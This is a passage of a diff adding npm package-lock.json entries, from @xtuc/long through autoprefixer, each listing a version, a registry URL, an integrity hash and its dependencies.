+            "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
+            "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="
+        },
+        "abbrev": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz",
+            "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="
+        },
+        "abort-controller": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz",
+            "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==",
+            "requires": {
+                "event-target-shim": "^5.0.0"
+            }
+        },
+        "accepts": {
+            "version": "1.3.8",
+            "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
+            "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
+            "requires": {
+                "mime-types": "~2.1.34",
+                "negotiator": "0.6.3"
+            }
+        },
+        "acorn": {
+            "version": "3.3.0",
+            "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz",
+            "integrity": "sha512-OLUyIIZ7mF5oaAUT1w0TFqQS81q3saT46x8t7ukpPjMNk+nbs4ZHhs7ToV8EWnLYLepjETXd4XaCE4uxkMeqUw=="
+        },
+        "acorn-globals": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-3.1.0.tgz",
+            "integrity": "sha512-uWttZCk96+7itPxK8xCzY86PnxKTMrReKDqrHzv42VQY0K30PUO8WY13WMOuI+cOdX4EIdzdvQ8k6jkuGRFMYw==",
+            "requires": {
+                "acorn": "^4.0.4"
+            },
+            "dependencies": {
+                "acorn": {
+                    "version": "4.0.13",
+                    "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz",
+                    "integrity": "sha512-fu2ygVGuMmlzG8ZeRJ0bvR41nsAkxxhbyk8bZ1SS521Z7vmgJFTQQlfz/Mp/nJexGBz+v8sC9bM6+lNgskt4Ug=="
+                }
+            }
+        },
+        "acorn-jsx": {
+            "version": "5.3.2",
+            "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz",
+            "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="
+        },
+        "address": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/address/-/address-1.1.2.tgz",
+            "integrity": "sha512-aT6camzM4xEA54YVJYSqxz1kv4IHnQZRtThJJHhUMRExaU5spC7jX5ugSwTaTgJliIgs4VhZOk7htClvQ/LmRA=="
+        },
+        "aggregate-error": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz",
+            "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==",
+            "requires": {
+                "clean-stack": "^2.0.0",
+                "indent-string": "^4.0.0"
+            }
+        },
+        "ajv": {
+            "version": "6.12.6",
+            "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+            "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+            "requires": {
+                "fast-deep-equal": "^3.1.1",
+                "fast-json-stable-stringify": "^2.0.0",
+                "json-schema-traverse": "^0.4.1",
+                "uri-js": "^4.2.2"
+            }
+        },
+        "ajv-errors": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz",
+            "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ=="
+        },
+        "ajv-keywords": {
+            "version": "3.5.2",
+            "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+            "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="
+        },
+        "align-text": {
+            "version": "0.1.4",
+            "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz",
+            "integrity": "sha512-GrTZLRpmp6wIC2ztrWW9MjjTgSKccffgFagbNDOX95/dcjEcYZibYTeaOntySQLcdw1ztBoFkviiUvTMbb9MYg==",
+            "requires": {
+                "kind-of": "^3.0.2",
+                "longest": "^1.0.1",
+                "repeat-string": "^1.5.2"
+            }
+        },
+        "alphanum-sort": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/alphanum-sort/-/alphanum-sort-1.0.2.tgz",
+            "integrity": "sha512-0FcBfdcmaumGPQ0qPn7Q5qTgz/ooXgIyp1rf8ik5bGX8mpE2YHjC0P/eyQvxu1GURYQgq9ozf2mteQ5ZD9YiyQ=="
+        },
+        "amdefine": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz",
+            "integrity": "sha512-S2Hw0TtNkMJhIabBwIojKL9YHO5T0n5eNqWJ7Lrlel/zDbftQpxpapi8tZs3X1HWa+u+QeydGmzzNU0m09+Rcg=="
+        },
+        "anser": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/anser/-/anser-2.1.1.tgz",
+            "integrity": "sha512-nqLm4HxOTpeLOxcmB3QWmV5TcDFhW9y/fyQ+hivtDFcK4OQ+pQ5fzPnXHM1Mfcm0VkLtvVi1TCPr++Qy0Q/3EQ=="
+        },
+        "ansi-align": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.1.tgz",
+            "integrity": "sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==",
+            "requires": {
+                "string-width": "^4.1.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                }
+            }
+        },
+        "ansi-colors": {
+            "version": "3.2.4",
+            "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.4.tgz",
+            "integrity": "sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA=="
+        },
+        "ansi-escapes": {
+            "version": "3.2.0",
+            "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz",
+            "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ=="
+        },
+        "ansi-html": {
+            "version": "0.0.7",
+            "resolved": "https://registry.npmjs.org/ansi-html/-/ansi-html-0.0.7.tgz",
+            "integrity": "sha512-JoAxEa1DfP9m2xfB/y2r/aKcwXNlltr4+0QSBC4TrLfcxyvepX2Pv0t/xpgGV5bGsDzCYV8SzjWgyCW0T9yYbA=="
+        },
+        "ansi-regex": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz",
+            "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw=="
+        },
+        "ansi-styles": {
+            "version": "3.2.1",
+            "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+            "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+            "requires": {
+                "color-convert": "^1.9.0"
+            }
+        },
+        "anymatch": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+            "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
+            "requires": {
+                "normalize-path": "^3.0.0",
+                "picomatch": "^2.0.4"
+            }
+        },
+        "application-config-path": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/application-config-path/-/application-config-path-0.1.0.tgz",
+            "integrity": "sha512-lljTpVvFteShrHuKRvweZfa9o/Nc34Y8r5/1Lqh/yyKaspRT2J3fkEiSSk1YLG8ZSVyU7yHysRy9zcDDS2aH1Q=="
+        },
+        "aproba": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/aproba/-/aproba-1.2.0.tgz",
+            "integrity": "sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw=="
+        },
+        "arch": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/arch/-/arch-2.2.0.tgz",
+            "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ=="
+        },
+        "are-we-there-yet": {
+            "version": "1.1.7",
+            "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.7.tgz",
+            "integrity": "sha512-nxwy40TuMiUGqMyRHgCSWZ9FM4VAoRP4xUYSTv5ImRog+h9yISPbVH7H8fASCIzYn9wlEv4zvFL7uKDMCFQm3g==",
+            "requires": {
+                "delegates": "^1.0.0",
+                "readable-stream": "^2.0.6"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "arg": {
+            "version": "4.1.3",
+            "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz",
+            "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA=="
+        },
+        "argparse": {
+            "version": "1.0.10",
+            "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+            "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+            "requires": {
+                "sprintf-js": "~1.0.2"
+            },
+            "dependencies": {
+                "sprintf-js": {
+                    "version": "1.0.3",
+                    "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+                    "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="
+                }
+            }
+        },
+        "aria-query": {
+            "version": "4.2.2",
+            "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz",
+            "integrity": "sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA==",
+            "requires": {
+                "@babel/runtime": "^7.10.2",
+                "@babel/runtime-corejs3": "^7.10.2"
+            }
+        },
+        "arr-diff": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz",
+            "integrity": "sha512-dtXTVMkh6VkEEA7OhXnN1Ecb8aAGFdZ1LFxtOCoqj4qkyOJMt7+qs6Ahdy6p/NQCPYsRSXXivhSB/J5E9jmYKA==",
+            "requires": {
+                "arr-flatten": "^1.0.1"
+            }
+        },
+        "arr-flatten": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
+            "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg=="
+        },
+        "arr-union": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
+            "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q=="
+        },
+        "array-filter": {
+            "version": "0.0.1",
+            "resolved": "https://registry.npmjs.org/array-filter/-/array-filter-0.0.1.tgz",
+            "integrity": "sha512-VW0FpCIhjZdarWjIz8Vpva7U95fl2Jn+b+mmFFMLn8PIVscOQcAgEznwUzTEuUHuqZqIxwzRlcaN/urTFFQoiw=="
+        },
+        "array-find-index": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz",
+            "integrity": "sha512-M1HQyIXcBGtVywBt8WVdim+lrNaK7VHp99Qt5pSNziXznKHViIBbXWtfRTpEFpF/c4FdfxNAsCCwPp5phBYJtw=="
+        },
+        "array-flatten": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
+            "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
+        },
+        "array-includes": {
+            "version": "3.1.5",
+            "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.5.tgz",
+            "integrity": "sha512-iSDYZMMyTPkiFasVqfuAQnWAYcvO/SeBSCGKePoEthjp4LEMTe4uLc7b025o4jAZpHhihh8xPo99TNWUWWkGDQ==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.4",
+                "es-abstract": "^1.19.5",
+                "get-intrinsic": "^1.1.1",
+                "is-string": "^1.0.7"
+            }
+        },
+        "array-iterate": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/array-iterate/-/array-iterate-1.1.4.tgz",
+            "integrity": "sha512-sNRaPGh9nnmdC8Zf+pT3UqP8rnWj5Hf9wiFGsX3wUQ2yVSIhO2ShFwCoceIPpB41QF6i2OEmrHmCo36xronCVA=="
+        },
+        "array-map": {
+            "version": "0.0.0",
+            "resolved": "https://registry.npmjs.org/array-map/-/array-map-0.0.0.tgz",
+            "integrity": "sha512-123XMszMB01QKVptpDQ7x1m1pP5NmJIG1kbl0JSPPRezvwQChxAN0Gvzo7rvR1IZ2tOL2tmiy7kY/KKgnpVVpg=="
+        },
+        "array-reduce": {
+            "version": "0.0.0",
+            "resolved": "https://registry.npmjs.org/array-reduce/-/array-reduce-0.0.0.tgz",
+            "integrity": "sha512-8jR+StqaC636u7h3ye1co3lQRefgVVUQUhuAmRbDqIMeR2yuXzRvkCNQiQ5J/wbREmoBLNtp13dhaaVpZQDRUw=="
+        },
+        "array-union": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz",
+            "integrity": "sha512-Dxr6QJj/RdU/hCaBjOfxW+q6lyuVE6JFWIrAUpuOOhoJJoQ99cUn3igRaHVB5P9WrgFVN0FfArM3x0cueOU8ng==",
+            "requires": {
+                "array-uniq": "^1.0.1"
+            }
+        },
+        "array-uniq": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz",
+            "integrity": "sha512-MNha4BWQ6JbwhFhj03YK552f7cb3AzoE8SzeljgChvL1dl3IcvggXVz1DilzySZkCja+CXuZbdW7yATchWn8/Q=="
+        },
+        "array-unique": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.2.1.tgz",
+            "integrity": "sha512-G2n5bG5fSUCpnsXz4+8FUkYsGPkNfLn9YvS66U5qbTIXI2Ynnlo4Bi42bWv+omKUCqz+ejzfClwne0alJWJPhg=="
+        },
+        "array.prototype.flat": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.0.tgz",
+            "integrity": "sha512-12IUEkHsAhA4DY5s0FPgNXIdc8VRSqD9Zp78a5au9abH/SOBrsp082JOWFNTjkMozh8mqcdiKuaLGhPeYztxSw==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.2",
+                "es-shim-unscopables": "^1.0.0"
+            }
+        },
+        "array.prototype.flatmap": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.0.tgz",
+            "integrity": "sha512-PZC9/8TKAIxcWKdyeb77EzULHPrIX/tIZebLJUQOMR1OwYosT8yggdfWScfTBCDj5utONvOuPQQumYsU2ULbkg==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.2",
+                "es-shim-unscopables": "^1.0.0"
+            }
+        },
+        "array.prototype.reduce": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.4.tgz",
+            "integrity": "sha512-WnM+AjG/DvLRLo4DDl+r+SvCzYtD2Jd9oeBYMcEaI7t3fFrHY9M53/wdLcTvmZNQ70IU6Htj0emFkZ5TS+lrdw==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.2",
+                "es-array-method-boxes-properly": "^1.0.0",
+                "is-string": "^1.0.7"
+            }
+        },
+        "arrify": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz",
+            "integrity": "sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA=="
+        },
+        "asap": {
+            "version": "2.0.6",
+            "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
+            "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA=="
+        },
+        "asn1": {
+            "version": "0.2.6",
+            "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
+            "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
+            "requires": {
+                "safer-buffer": "~2.1.0"
+            }
+        },
+        "asn1.js": {
+            "version": "5.4.1",
+            "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz",
+            "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==",
+            "requires": {
+                "bn.js": "^4.0.0",
+                "inherits": "^2.0.1",
+                "minimalistic-assert": "^1.0.0",
+                "safer-buffer": "^2.1.0"
+            },
+            "dependencies": {
+                "bn.js": {
+                    "version": "4.12.0",
+                    "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+                    "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA=="
+                }
+            }
+        },
+        "assert": {
+            "version": "1.5.0",
+            "resolved": "https://registry.npmjs.org/assert/-/assert-1.5.0.tgz",
+            "integrity": "sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==",
+            "requires": {
+                "object-assign": "^4.1.1",
+                "util": "0.10.3"
+            },
+            "dependencies": {
+                "inherits": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz",
+                    "integrity": "sha512-8nWq2nLTAwd02jTqJExUYFSD/fKq6VH9Y/oG2accc/kdI0V98Bag8d5a4gi3XHz73rDWa2PvTtvcWYquKqSENA=="
+                },
+                "util": {
+                    "version": "0.10.3",
+                    "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz",
+                    "integrity": "sha512-5KiHfsmkqacuKjkRkdV7SsfDJ2EGiPsK92s2MhNSY0craxjTdKTtqKsJaCWp4LW33ZZ0OPUv1WO/TFvNQRiQxQ==",
+                    "requires": {
+                        "inherits": "2.0.1"
+                    }
+                }
+            }
+        },
+        "assert-plus": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
+            "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw=="
+        },
+        "assign-symbols": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
+            "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw=="
+        },
+        "ast-types": {
+            "version": "0.10.1",
+            "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.10.1.tgz",
+            "integrity": "sha512-UY7+9DPzlJ9VM8eY0b2TUZcZvF+1pO0hzMtAyjBYKhOmnvRlqYNYnWdtsMj0V16CGaMlpL0G1jnLbLo4AyotuQ=="
+        },
+        "ast-types-flow": {
+            "version": "0.0.7",
+            "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz",
+            "integrity": "sha512-eBvWn1lvIApYMhzQMsu9ciLfkBY499mFZlNqG+/9WR7PVlroQw0vG30cOQQbaKz3sCEc44TAOu2ykzqXSNnwag=="
+        },
+        "astral-regex": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz",
+            "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg=="
+        },
+        "async": {
+            "version": "2.6.4",
+            "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz",
+            "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==",
+            "requires": {
+                "lodash": "^4.17.14"
+            }
+        },
+        "async-cache": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/async-cache/-/async-cache-1.1.0.tgz",
+            "integrity": "sha512-YDQc4vBn5NFhY6g6HhVshyi3Fy9+SQ5ePnE7JLDJn1DoL+i7ER+vMwtTNOYk9leZkYMnOwpBCWqyLDPw8Aig8g==",
+            "requires": {
+                "lru-cache": "^4.0.0"
+            },
+            "dependencies": {
+                "lru-cache": {
+                    "version": "4.1.5",
+                    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz",
+                    "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==",
+                    "requires": {
+                        "pseudomap": "^1.0.2",
+                        "yallist": "^2.1.2"
+                    }
+                },
+                "yallist": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+                    "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A=="
+                }
+            }
+        },
+        "async-each": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.3.tgz",
+            "integrity": "sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ=="
+        },
+        "async-foreach": {
+            "version": "0.1.3",
+            "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz",
+            "integrity": "sha512-VUeSMD8nEGBWaZK4lizI1sf3yEC7pnAQ/mrI7pC2fBz2s/tq5jWWEngTwaf0Gruu/OoXRGLGg1XFqpYBiGTYJA=="
+        },
+        "async-limiter": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
+            "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ=="
+        },
+        "async-retry-ng": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/async-retry-ng/-/async-retry-ng-2.0.1.tgz",
+            "integrity": "sha512-iitlc2murdQ3/A5Re3CcplQBEf7vOmFrFQ6RFn3+/+zZUyIHYkZnnEziMSa6YIb2Bs2EJEPZWReTxjHqvQbDbw=="
+        },
+        "asynckit": {
+            "version": "0.4.0",
+            "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
+            "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
+        },
+        "atob": {
+            "version": "2.1.2",
+            "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+            "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg=="
+        },
+        "autoprefixer": {
+            "version": "9.8.8",
+            "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.8.tgz",
+            "integrity": "sha512-eM9d/swFopRt5gdJ7jrpCwgvEMIayITpojhkkSMRsFHYuH5bkSQ4p/9qTEHtmNudUZh22Tehu7I6CxAW0IXTKA==",
+            "requires": {
+                "browserslist": "^4.12.0",
+                "caniuse-lite": "^1.0.30001109",
+                "normalize-range": "^0.1.2",
+                "num2fraction": "^1.2.2",
+                "picocolors": "^0.2.1",
+                "postcss": "^7.0.32",
+                "postcss-value-parser": "^4.1.0"
+            },
+            "dependencies": {
+                "picocolors": {
+                    "version": "0.2.1",
+                    "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
